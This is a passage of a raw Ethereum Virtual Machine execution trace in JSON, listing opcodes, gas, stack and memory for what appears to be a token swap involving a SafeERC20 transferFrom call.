f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x3c61"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15457,"op":"JUMPDEST","gas":95654,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15458,"op":"DUP4","gas":95653,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15459,"op":"DUP2","gas":95650,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15460,"op":"LT","gas":95647,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x64","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15461,"op":"ISZERO","gas":95644,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15462,"op":"PUSH2","gas":95641,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15465,"op":"JUMPI","gas":95638,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x0","0x3c79"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15466,"op":"DUP2","gas":95628,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15467,"op":"DUP2","gas":95625,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15468,"op":"ADD","gas":95622,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x240","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15469,"op":"MLOAD","gas":95619,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x2a0"],"memory":["000000